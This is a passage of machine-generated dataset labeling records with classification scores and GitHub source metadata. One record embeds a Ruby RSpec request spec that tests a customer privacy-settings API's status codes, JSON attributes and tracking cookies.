2.1861153891876943e-05, "Industry & Production": 5.721658024535659e-05, "Language, Literature & Philosophy": 3.451848709728018e-05, "Politics & Government": 0.0018947221959925444, "Religion & Spirituality": 4.3737800988224544e-05, "Science, Mathematics & Engineering": 0.00025430306552132057, "Relationships & Community": 1.7551462719594688e-05, "Software Usage & Applications": 0.0012238380289763895, "Programming & Software Engineering": 0.9940775538379532, "Sports & Fitness": 4.1846773750417123e-05, "Vehicles & Transportation": 2.543989930485926e-05, "Travel & Tourism": 3.744708281429178e-05, "Other / Uncovered Subject": 0.0004340763520699623, "Unknown / Insufficient Content": 9.06072986161077e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002574698282966354, "Art & Design": 0.0006342981518231142, "Law & Crime": 0.0018016062549595, "Education & Careers": 0.00016238348838309348, "Entertainment & Media": 0.00019130184909404473, "Fashion & Beauty": 0.00011540768636871238, "Business, Economics & Finance": 0.0026688349804313556, "Food & Dining": 0.00010298326321879337, "Games & Gaming": 0.00025255987112227226, "Electronics & Hardware": 0.0005415744246976765, "Health, Healthcare & Wellness": 0.00014167243710294254, "History & Geography": 0.00012235759733621217, "Home, Pets & Hobbies": 9.237326494459463e-05, "Industry & Production": 0.00012348130956543009, "Language, Literature & Philosophy": 0.00010600620423355387, "Politics & Government": 0.0031240489770740665, "Religion & Spirituality": 0.000207375863544114, "Science, Mathematics & Engineering": 0.0004985776105062557, "Relationships & Community": 7.872695252025335e-05, "Software Usage & Applications": 0.008648361530051564, "Programming & Software Engineering": 0.018007448685306963, "Sports & Fitness": 0.00012058412065780388, "Vehicles & Transportation": 7.213441470353697e-05, "Travel & Tourism": 0.00015224897310672482, "Other / Uncovered Subject": 0.0005789809925488123, "NONE": 0.961197201268402}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9658, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9658, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:08.373710+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "3783c503-6db7-4763-9e5d-267b21879b13", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ce4f6e3d42aa7e33fe25ac62f8c9467f830ca058f08305b163c03df82fbbbbe2", "source_metadata": {"uuid": "3783c503-6db7-4763-9e5d-267b21879b13", "repo_name": "gonovacloud/manageiq", "relative_path": "app/presenters/tree_builder_policy_simulation_results.rb", "category": "WEB", "algo_rel_score": 0.8352175951004028, "quality_score": 5.627211570739746, "source_meta": {"github_metadata": {"branch": "euwe", "commit_count": 27587, "repo_created_at": "2021-12-17T17:29:31.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "1faf721fd236a067e648dcbcd43baaa598a61f33", "size_bytes": 4290, "file_timestamp": 1639763047, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "18d3917e800fdd6f96f9c68d76d860c60868dc93"}}, "parsed_source_meta": {"github_metadata": {"branch": "euwe", "commit_count": 27587, "repo_created_at": "2021-12-17T17:29:31.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "1faf721fd236a067e648dcbcd43baaa598a61f33", "size_bytes": 4290, "file_timestamp": 1639763047, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "18d3917e800fdd6f96f9c68d76d860c60868dc93", "url": "https://github.com/gonovacloud/manageiq/blob/18d3917e800fdd6f96f9c68d76d860c60868dc93/app/presenters/tree_builder_policy_simulation_results.rb"}, "gpt4o_tokens": 1080, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0108095568474562, "noise_severity": 0.009750689508469947, "missing_content_severity": 0.24394056956395463, "factual_density": 3.493891499559209, "pretraining_utility": 0.40333178679989307, "math_density": 0.010631295921319117, "code_density": 3.9245095337443034, "reasoning_density": 0.1779816353808932, "education_level": 2.7053860470293687, "creative_writing_quality": -0.252905751316409}, "score_applicability": {"education_level": 0.9986911807520071, "creative_writing_quality": 0.0003418365409443575}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/pgoos/clark-app/blob/dd6ad563eae4b157ccc339730a8a731368b74134/spec/composites/customer/api/v5/privacy_settings_spec.rb", "id": "ruby-0-9dedf885c75b09903101552f74771578", "text": "# frozen_string_literal: true\n\nrequire \"rails_helper\"\n\ndescribe Customer::Api::V5::PrivacySettings, :integration, type: :request do\n describe \"GET /api/customer/current/privacy_settings\" do\n context \"when current customer has associated privacy settings\" do\n let(:customer) { create(:customer, :self_service) }\n let!(:privacy_settings) { create(:privacy_setting, mandate_id: customer.id) }\n\n it \"returns privacy settings\" do\n login_customer(customer, scope: :user)\n\n json_get_v5 \"/api/customer/current/privacy_settings\"\n\n expect(response.status).to eq 200\n\n expect(json_response[\"data\"][\"id\"]).to eq privacy_settings.id.to_s\n expect(json_response[\"data\"][\"type\"]).to eq \"privacy_settings\"\n expect(json_response[\"data\"][\"attributes\"].keys).to eq %w[\n mandateId\n thirdPartyTracking\n ]\n expect(response.cookies.keys).to include(PrivacySetting::ANALYTICS_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE_TIMESTAMP,\n PrivacySetting::BANNER_VISIBILITY_COOKIE)\n end\n end\n\n context \"when current customer hasn\\'t privacy settings associated\" do\n let(:customer) { create(:customer, :self_service) }\n\n it \"returns 404 if any of privacy settings is associated with current customer\" do\n login_customer(customer, scope: :user)\n\n json_get_v5 \"/api/customer/current/privacy_settings\"\n\n expect(response.status).to eq 404\n end\n end\n end\n\n describe \"POST /api/customer/current/privacy_settings\" do\n context \"when valid params are passed\" do\n subject(:make_request) do\n login_customer(customer, scope: :user)\n json_post_v5 \"/api/customer/current/privacy_settings\", params\n end\n\n let(:customer) { create(:customer, :self_service) }\n let(:accepted_at) { DateTime.now }\n let(:params) { { third_party_tracking: { enabled: true, accepted_at: accepted_at.to_s } } }\n\n context \"customer logged in\" do\n context \"when previous privacy settings exist\" do\n let(:privacy_settings) { create(:privacy_setting, :third_party_tracking_disabled, mandate_id: customer.id) }\n\n before do\n privacy_settings\n make_request\n end\n\n it \"returns updated privacy settings\" do\n expect(response.status).to eq 201\n expect(json_response[\"data\"][\"id\"]).to eq privacy_settings.id.to_s\n expect(json_response[\"data\"][\"type\"]).to eq \"privacy_settings\"\n expect(json_response[\"data\"][\"attributes\"].keys).to eq %w[\n mandateId thirdPartyTracking\n ]\n expect(json_response[\"data\"][\"attributes\"][\"thirdPartyTracking\"][\"enabled\"]).to eq true\n expect(response.cookies.keys).to include(PrivacySetting::ANALYTICS_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE_TIMESTAMP,\n PrivacySetting::BANNER_VISIBILITY_COOKIE)\n end\n end\n\n context \"when previous privacy settings does not exist\" do\n before do\n make_request\n end\n\n it \"returns created privacy settings\" do\n expect(response.status).to eq 201\n expect(json_response[\"data\"][\"id\"]).not_to be_nil\n expect(json_response[\"data\"][\"type\"]).to eq \"privacy_settings\"\n expect(json_response[\"data\"][\"attributes\"].keys).to eq %w[\n mandateId thirdPartyTracking\n ]\n expect(json_response[\"data\"][\"attributes\"][\"thirdPartyTracking\"][\"enabled\"]).to eq true\n expect(response.cookies.keys).to include(PrivacySetting::ANALYTICS_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE_TIMESTAMP,\n PrivacySetting::BANNER_VISIBILITY_COOKIE)\n end\n end\n end\n\n context \"when invalid params are passed\" do\n subject(:make_request) do\n login_customer(customer, scope: :user)\n json_post_v5 \"/api/customer/current/privacy_settings\", params\n end\n\n let(:customer) { create(:customer, :self_service) }\n let(:params) { { third_party_tracking: { enabled: \"NOPE\", accepted_at: \"some_day\" } } }\n\n before do\n make_request\n end\n\n it \"returns 422 status code with error message\" do\n expect(response.status).to eq 422\n expect(json_response[\"errors\"].first[\"meta\"][\"data\"][\"third_party_tracking\"].keys.sort).to eq %w[\n accepted_at enabled\n ]\n end\n end\n end\n\n context \"not logged in customer\" do\n let(:accepted_at) { DateTime.now }\n let(:params) { { third_party_tracking: { enabled: \"true\", accepted_at: accepted_at.to_s } } }\n\n it \"returns mocked privacy settings\" do\n json_post_v5 \"/api/customer/current/privacy_settings\", params\n\n expect(response.status).to eq 201\n expect(json_response[\"data\"][\"id\"]).to eq \"0\"\n expect(json_response[\"data\"][\"type\"]).to eq \"privacy_settings\"\n expect(json_response[\"data\"][\"attributes\"].keys).to eq %w[\n mandateId thirdPartyTracking\n ]\n expect(json_response[\"data\"][\"attributes\"][\"thirdPartyTracking\"][\"enabled\"]).to eq true\n expect(response.cookies.keys).to include(PrivacySetting::ANALYTICS_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE,\n PrivacySetting::MARKETING_TRACKING_COOKIE_TIMESTAMP,\n PrivacySetting::BANNER_VISIBILITY_COOKIE)\n end\n end\n end\nend\n", "text_preview": "# frozen_string_literal: true require \"rails_helper\" describe Customer::Api::V5::PrivacySettings, :integration, type: :request do describe \"GET /api/customer/current/privacy_settings\" do context \"when current customer has associated privacy", "input_sha256": "90c8580f270fc3024e04158856a94e0d80d78ef3fc4a40840d4d3ec586aa0e76", "text_sha256": "9dedf885c75b09903101552f747715787ed40e01335b06bc2264a383f9c530a2", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16074, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7631607623545552, "noise_severity": 0.04877889430392782, "missing_content_severity": 0.021118162929251744, "factual_density": 3.1888568206501167, "pretraining_utility": 0.443474155647159, "math_density": 0.01590057887870954, "code_density": 3.8741923917476275, "reasoning_density": 0.9213441643087961, "education_level": 2.7181995158588848, "creative_writing_quality": -0.19330279549886}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.02359792259363347, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9897608936012897, "secondary": 0.9492514360200328, "tertiary": 0.973875355248172, "structured_records": 0.25762314885478244, "procedural_steps": 0.020638334611026248, "worked_solution": 0.14630604375891162, "contextual_dialogue": 8.912860081556938e-06, "content_quality": 0.36840998133805236, "noise_severity": 0.9593509214133935, "missing_content_severity": 0.9824015308922902, "factual_density": 0.5605428562934996, "pretraining_utility": 0.4015301216835333, "math_density": 0.9867495176010754, "code_density": 0.8951603264563561, "reasoning_density": 0.23221319640933658, "education_level": 0.3739881303705729, "creative_writing_quality": 0.9992373531380109, "primary_topic": 0.9917818503818213, "secondary_topic": 0.8773982387923712}, "probability_margin": {"primary": 0.9836178260743531, "secondary": 0.9264214931610466, "tertiary": 0.9639185914189556, "education_level": 0.0858943471245125, "creative_writing_quality": 0.9990505849945879, "primary_topic": 0.989547545049338, "secondary_topic": 0.8473721399128545}, "raw_probabilities": {"primary": {"Academic Writing": 7.69604843851211e-05, "Content Listing": 3.2885233800591234e-05, "Creative Writing": 2.6476230424585295e-05, "Customer Support Page": 1.9732984238538984e-05, "Q&A Forum": 1.7342576317039682e-05, "Discussion Thread": 1.1220421212653596e-05, "Comment Section": 2.0341608611698077e-05, "Missing Content": 2.8407503711191614e-05, "Knowledge Article": 0.00010640427225384499, "Legal Notices": 0.00017293500297998094, "News Article": 7.616864897240584e-06, "Organizational Announcement": 1.8714127399669303e-05, "Nonfiction Writing": 1.614988848162104e-05, "Organizational About Page": 1.7897048111722846e-05, "Personal About Page": 1.476743824193686e-05, "Personal Blog": 1.1233992458735424e-05, "Product Page": 1.1421833143978747e-05, "Spam / Ads": 1.4265927065261067e-05, "Structured Data": 0.00229531942948898, "Technical Writing": 0.9901875230345694, "Transcript / Interview": 3.16410019361858e-05, "Tutorial / How-To Guide": 0.0002816861940710781, "User Reviews": 9.359941982812682e-06, "Other / Unknown": 0.006569696960216232}, "secondary": {"Academic Writing": 0.0002840305216305373, "Content Listing": 0.00017101434991039112, "Creative Writing": 0.00019268778814679512, "Customer Support Page": 0.00011922756628601659, "Q&A Forum": 9.070017580070557e-05, "Discussion Thread": 7.553145515545534e-05, "Comment Section": 0.0001266905826581179, "Missing Content": 0.00037627266744217307, "Knowledge Article": 0.0005648028875828997, "Legal Notices": 0.000913094783721596, "News Article": 0.00011699316033708815, "Organizational Announcement": 0.00011593529148159988, "Nonfiction Writing": 0.00010337265504196209, "Organizational About Page": 0.00011904089645750918, "Personal About Page": 9.099162376896085e-05, "Personal Blog": 9.556478891856494e-05, "Product Page": 6.966224821603449e-05, "Spam / Ads": 9.455249956648826e-05, "Structured Data": 0.018733300429102373, "Technical Writing": 0.02494446635815145, "Transcript / Interview": 0.00016350369822043395, "Tutorial / How-To Guide": 0.0010190015126269182, "User Reviews": 5.360254057791376e-05, "NONE": 0.9513659595191981}, "tertiary": {"Academic Writing": 0.0001220897535506463, "Content Listing": 9.117184677484965e-05, "Creative Writing": 0.00010185801122223329, "Customer Support Page": 6.735559868233076e-05, "Q&A Forum": 4.0044555526620485e-05, "Discussion Thread": 3.5440768329265166e-05, "Comment Section": 7.403592626346533e-05, "Missing Content": 0.00037874340667854914, "Knowledge Article": 0.0006680887686002784, "Legal Notices": 0.0009555033071421175, "News Article": 5.9771831494979756e-05, "Organizational Announcement": 5.9496573404570225e-05, "Nonfiction Writing": 5.9416594939176335e-05, "Organizational About Page": 7.128325603945727e-05, "Personal About Page": 4.463903040908003e-05, "Personal Blog": 4.3781791622719985e-05, "Product Page": 3.9119181402842525e-05, "Spam / Ads": 5.8568746295841876e-05, "Structured Data": 0.009703841968192677, "Technical Writing": 0.011045290693875979, "Transcript / Interview": 8.20561104297117e-05, "Tutorial / How-To Guide": 0.0012051056267418047, "User Reviews": 2.9414539549218502e-05, "NONE": 0.9749638821128316}, "structured_records": {"false": 0.7423768511452176, "true": 0.25762314885478244}, "procedural_steps": {"false": 0.9793616653889737, "true": 0.020638334611026248}, "worked_solution": {"false": 0.8536939562410883, "true": 0.14630604375891162}, "contextual_dialogue": {"false": 0.9999910871399185, "true": 8.912860081556938e-06}, "content_quality": {"-2": 0.012207117723744495, "-1": 0.12060052081789636, "0": 0.21955123521286468, "1": 0.3871067338710482, "2": 0.2605343923744462}, "noise_severity": {"0": 0.9558176494706419, "1": 0.041103813226747624, "2": 0.002038205400605634, "3": 0.0005626573320501309, "4": 0.0004776745699546309}, "missing_content_severity": {"0": 0.9893084732559412, "1": 0.0021897385598798305, "2": 0.006981096427743138, "3": 0.0011165355118582761, "4": 0.0004041562445777035}, "factual_density": {"0": 0.004437236305060801, "1": 0.010160999316125942, "2": 0.13561216835140752, "3": 0.49168689947844724, "4": 0.35810269654895854}, "pretraining_utility": {"-2": 0.009830092127944494, "-1": 0.10395383221180052, "0": 0.399946908358866, "1": 0.4054501624879294, "2": 0.08081900481345954}, "math_density": {"0": 0.9894578198820141, "1": 0.00806582065338745, "2": 0.0008280070306304146, "3": 0.0004146655718113836, "4": 0.0012336868621567786}, "code_density": {"0": 0.00041717319608708793, "1": 0.000723762605159645, "2": 0.014422669686075524, "3": 0.09312228828039423, "4": 0.8913141062322836}, "reasoning_density": {"0": 0.5917554574825861, "1": 0.11155238957887634, "2": 0.1509489441267991, "3": 0.07507894877063291, "4": 0.0706642600411057}, "education_level": {"none": 0.0010437908203184533, "0": 0.0011438305404563112, "1": 0.004235199574352172, "2": 0.39242909485096494, "3": 0.47832344197547744, "4": 0.12282464223843073}, "creative_writing_quality": {"not_applicable": 0.9993644609483424, "-2": 6.852226399411757e-05, "-1": 0.0001377475740025556, "0": 0.00031387595375455463, "1": 7.884589315599177e-05, "2": 3.6547366750348347e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.923839653828046e-05, "Art & Design": 4.8986852338951685e-05, "Law & Crime": 0.0013812923846479894, "Education & Careers": 3.875461705772908e-05, "Entertainment & Media": 2.8330738510364832e-05, "Fashion & Beauty": 4.098168255567774e-05, "Business, Economics & Finance": 0.0008567532527175842, "Food & Dining": 3.447081221888685e-05, "Games & Gaming": 4.897895771716765e-05, "Electronics & Hardware": 6.068329873617617e-05, "Health, Healthcare & Wellness": 0.00021514220710440365, "History & Geography": 3.307686529092154e-05, "Home, Pets & Hobbies": 3.4982224426462465e-05, "Industry & Production": 2.8179046562919443e-05, "Language, Literature & Philosophy": 3.2179010793324735e-05, "Politics & Government": 0.00042922496363017925, "Religion & Spirituality": 4.739840918234015e-05, "Science, Mathematics & Engineering": 6.886782924959989e-05, "Relationships & Community": 9.343983225815001e-05, "Software Usage & Applications": 0.0016258319895755405, "Programming & Software Engineering": 0.9920979330594436, "Sports & Fitness": 4.275374934425476e-05, "Vehicles & Transportation": 1.9568763999219974e-05, "Travel & Tourism": 4.749068969235765e-05, "Other / Uncovered Subject": 0.0025503880101056067, "Unknown / Insufficient Content": 5.5072356302109044e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012282205065740654, "Art & Design": 0.0006461878130574188, "Law & Crime": 0.030351170822948855, "Education & Careers": 0.00043533629445892635, "Entertainment & Media": 0.0005484726232087284, "Fashion & Beauty": 0.00039926993970673636, "Business, Economics & Finance": 0.00632233754308847, "Food & Dining": 0.000355086202297585, "Games & Gaming": 0.0004873206290327883, "Electronics & Hardware": 0.0005380735255863515, "Health, Healthcare & Wellness": 0.0013813212357546775, "History & Geography": 0.00033142240765270906, "Home, Pets & Hobbies": 0.0003753228932435427, "Industry & Production": 0.000242372204076929, "Language, Literature & Philosophy": 0.0002477961662257215, "Politics & Government": 0.0030848027129857444, "Religion & Spirituality": 0.0005530248082136064, "Science, Mathematics & Engineering": 0.0006114177381127886, "Relationships & Community": 0.0004478606123977862, "Software Usage & Applications": 0.01249390432168894, "Programming & Software Engineering": 0.03474155123365635, "Sports & Fitness": 0.00025478326860129964, "Vehicles & Transportation": 0.00014748748086554884, "Travel & Tourism": 0.00039930935170767593, "Other / Uncovered Subject": 0.02126245651834584, "NONE": 0.8821136911465108}}, "probabilities": {"primary": {"Academic Writing": 7.69604843851211e-05, "Content Listing": 3.2885233800591234e-05, "Creative Writing": 2.6476230424585295e-05, "Customer Support Page": 1.9732984238538984e-05, "Q&A Forum": 1.7342576317039682e-05, "Discussion Thread": 1.1220421212653596e-05, "Comment Section": 2.0341608611698077e-05, "Missing Content": 2.8407503711191614e-05, "Knowledge Article": 0.00010640427225384499, "Legal Notices": 0.00017293500297998094, "News Article": 7.616864897240584e-06, "Organizational Announcement": 1.8714127399669303e-05, "Nonfiction Writing": 1.614988848162104e-05, "Organizational About Page": 1.7897048111722846e-05, "Personal About Page": 1.476743824193686e-05, "Personal Blog": 1.1233992458735424e-05, "Product Page": 1.1421833143978747e-05, "Spam / Ads": 1.4265927065261067e-05, "Structured Data": 0.00229531942948898, "Technical Writing": 0.9901875230345694, "Transcript / Interview": 3.16410019361858e-05, "Tutorial / How-To Guide": 0.0002816861940710781, "User Reviews": 9.359941982812682e-06, "Other / Unknown": 0.006569696960216232}, "secondary": {"Academic Writing": 0.0002840305216305373, "Content Listing": 0.00017101434991039112, "Creative Writing": 0.00019268778814679512, "Customer Support Page": 0.00011922756628601659, "Q&A Forum": 9.070017580070557e-05, "Discussion Thread": 7.553145515545534e-05, "Comment Section": 0.0001266905826581179, "Missing Content": 0.00037627266744217307, "Knowledge Article": 0.0005648028875828997, "Legal Notices": 0.000913094783721596, "News Article": 0.00011699316033708815, "Organizational Announcement": 0.00011593529148159988, "Nonfiction Writing": 0.00010337265504196209, "Organizational About Page": 0.00011904089645750918, "Personal About Page": 9.099162376896085e-05, "Personal Blog": 9.556478891856494e-05, "Product Page": 6.966224821603449e-05, "Spam / Ads": 9.455249956648826e-05, "Structured Data": 0.018733300429102373, "Technical Writing": 0.02494446635815145, "Transcript / Interview": 0.00016350369822043395, "Tutorial / How-To Guide": 0.0010190015126269182, "User Reviews": 5.360254057791376e-05, "NONE": 0.9513659595191981}, "tertiary": {"Academic Writing": 0.0001220897535506463, "Content Listing": 9.117184677484965e-05, "Creative Writing": 0.00010185801122223329, "Customer Support Page": 6.735559868233076e-05, "Q&A Forum": 4.0044555526620485e-05, "Discussion Thread": 3.5440768329265166e-05, "Comment Section": 7.403592626346533e-05, "Missing Content": 0.00037874340667854914, "Knowledge Article": 0.0006680887686002784, "Legal Notices": 0.0009555033071421175, "News Article": 5.9771831494979756e-05, "Organizational Announcement": 5.9496573404570225e-05, "Nonfiction Writing": 5.9416594939176335e-05, "Organizational About Page": 7.128325603945727e-05, "Personal About Page": 4.463903040908003e-05, "Personal Blog": 4.3781791622719985e-05, "Product Page": 3.9119181402842525e-05, "Spam / Ads": 5.8568746295841876e-05, "Structured Data": 0.009703841968192677, "Technical Writing": 0.011045290693875979, "Transcript / Interview": 8.20561104297117e-05, "Tutorial / How-To Guide": 0.0012051056267418047, "User Reviews": 2.9414539549218502e-05, "NONE": 0.9749638821128316}, "structured_records": {"false": 0.7423768511452176, "true": 0.25762314885478244}, "procedural_steps": {"false": 0.9793616653889737, "true": 0.020638334611026248}, "worked_solution": {"false": 0.8536939562410883, "true": 0.14630604375891162}, "contextual_dialogue": {"false": 0.9999910871399185, "true": 8.912860081556938e-06}, "content_quality": {"-2": 0.012207117723744495, "-1": 0.12060052081789636, "0": 0.21955123521286468, "1": 0.3871067338710482, "2": 0.2605343923744462}, "noise_severity": {"0": 0.955817649470642, "1": 0.04110381322674763, "2": 0.0020382054006056346, "3": 0.000562657332050131, "4": 0.00047767456995463094}, "missing_content_severity": {"0": 0.989308473255941, "1": 0.00218973855987983, "2": 0.006981096427743136, "3": 0.001116535511858276, "4": 0.0004041562445777034}, "factual_density": {"0": 0.004437236305060801, "1": 0.010160999316125942, "2": 0.13561216835140752, "3": 0.49168689947844724, "4": 0.35810269654895854}, "pretraining_utility": {"-2": 0.009830092127944494, "-1": 0.10395383221180052, "0": 0.399946908358866, "1": 0.4054501624879294, "2": 0.08081900481345954}, "math_density": {"0": 0.9894578198820139, "1": 0.008065820653387448, "2": 0.0008280070306304144, "3": 0.0004146655718113835, "4": 0.0012336868621567784}, "code_density": {"0": 0.00041717319608708793, "1": 0.000723762605159645, "2": 0.014422669686075524, "3": 0.09312228828039423, "4": 0.8913141062322836}, "reasoning_density": {"0": 0.5917554574825861, "1": 0.11155238957887634, "2": 0.1509489441267991, "3": 0.07507894877063291, "4": 0.0706642600411057}, "education_level": {"none": 0.0010437908203184533, "0": 0.0011438305404563112, "1": 0.004235199574352172, "2": 0.39242909485096494, "3": 0.47832344197547744, "4": 0.12282464223843073}, "creative_writing_quality": {"not_applicable": 0.9993644609483424, "-2": 6.852226399411757e-05, "-1": 0.0001377475740025556, "0": 0.00031387595375455463, "1": 7.884589315599177e-05, "2": 3.6547366750348347e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.923839653828047e-05, "Art & Design": 4.89868523389517e-05, "Law & Crime": 0.0013812923846479896, "Education & Careers": 3.8754617057729086e-05, "Entertainment & Media": 2.833073851036484e-05, "Fashion & Beauty": 4.098168255567775e-05, "Business, Economics & Finance": 0.0008567532527175844, "Food & Dining": 3.4470812218886854e-05, "Games & Gaming": 4.897895771716766e-05, "Electronics & Hardware": 6.0683298736176186e-05, "Health, Healthcare & Wellness": 0.0002151422071044037, "History & Geography": 3.307686529092155e-05, "Home, Pets & Hobbies": 3.498222442646247e-05, "Industry & Production": 2.817904656291945e-05, "Language, Literature & Philosophy": 3.217901079332474e-05, "Politics & Government": 0.00042922496363017936, "Religion & Spirituality": 4.739840918234016e-05, "Science, Mathematics & Engineering": 6.88678292495999e-05, "Relationships & Community": 9.343983225815004e-05, "Software Usage & Applications": 0.001625831989575541, "Programming & Software Engineering": 0.9920979330594438, "Sports & Fitness": 4.275374934425477e-05, "Vehicles & Transportation": 1.9568763999219977e-05, "Travel & Tourism": 4.749068969235766e-05, "Other / Uncovered Subject": 0.002550388010105607, "Unknown / Insufficient Content": 5.507235630210906e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012282205065740656, "Art & Design": 0.0006461878130574189, "Law & Crime": 0.03035117082294886, "Education & Careers": 0.0004353362944589264, "Entertainment & Media": 0.0005484726232087285, "Fashion & Beauty": 0.0003992699397067364, "Business, Economics & Finance": 0.006322337543088471, "Food & Dining": 0.00035508620229758505, "Games & Gaming": 0.00048732062903278833, "Electronics & Hardware": 0.0005380735255863516, "Health, Healthcare & Wellness": 0.0013813212357546777, "History & Geography": 0.0003314224076527091, "Home, Pets & Hobbies": 0.00037532289324354275, "Industry & Production": 0.00024237220407692902, "Language, Literature & Philosophy": 0.00024779616622572155, "Politics & Government": 0.003084802712985745, "Religion & Spirituality": 0.0005530248082136066, "Science, Mathematics & Engineering": 0.0006114177381127887, "Relationships & Community": 0.00044786061239778625, "Software Usage & Applications": 0.012493904321688941, "Programming & Software Engineering": 0.034741551233656354, "Sports & Fitness": 0.0002547832686012997, "Vehicles & Transportation": 0.00014748748086554887, "Travel & Tourism": 0.000399309351707676, "Other / Uncovered Subject": 0.021262456518345844, "NONE": 0.882113691146511}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, 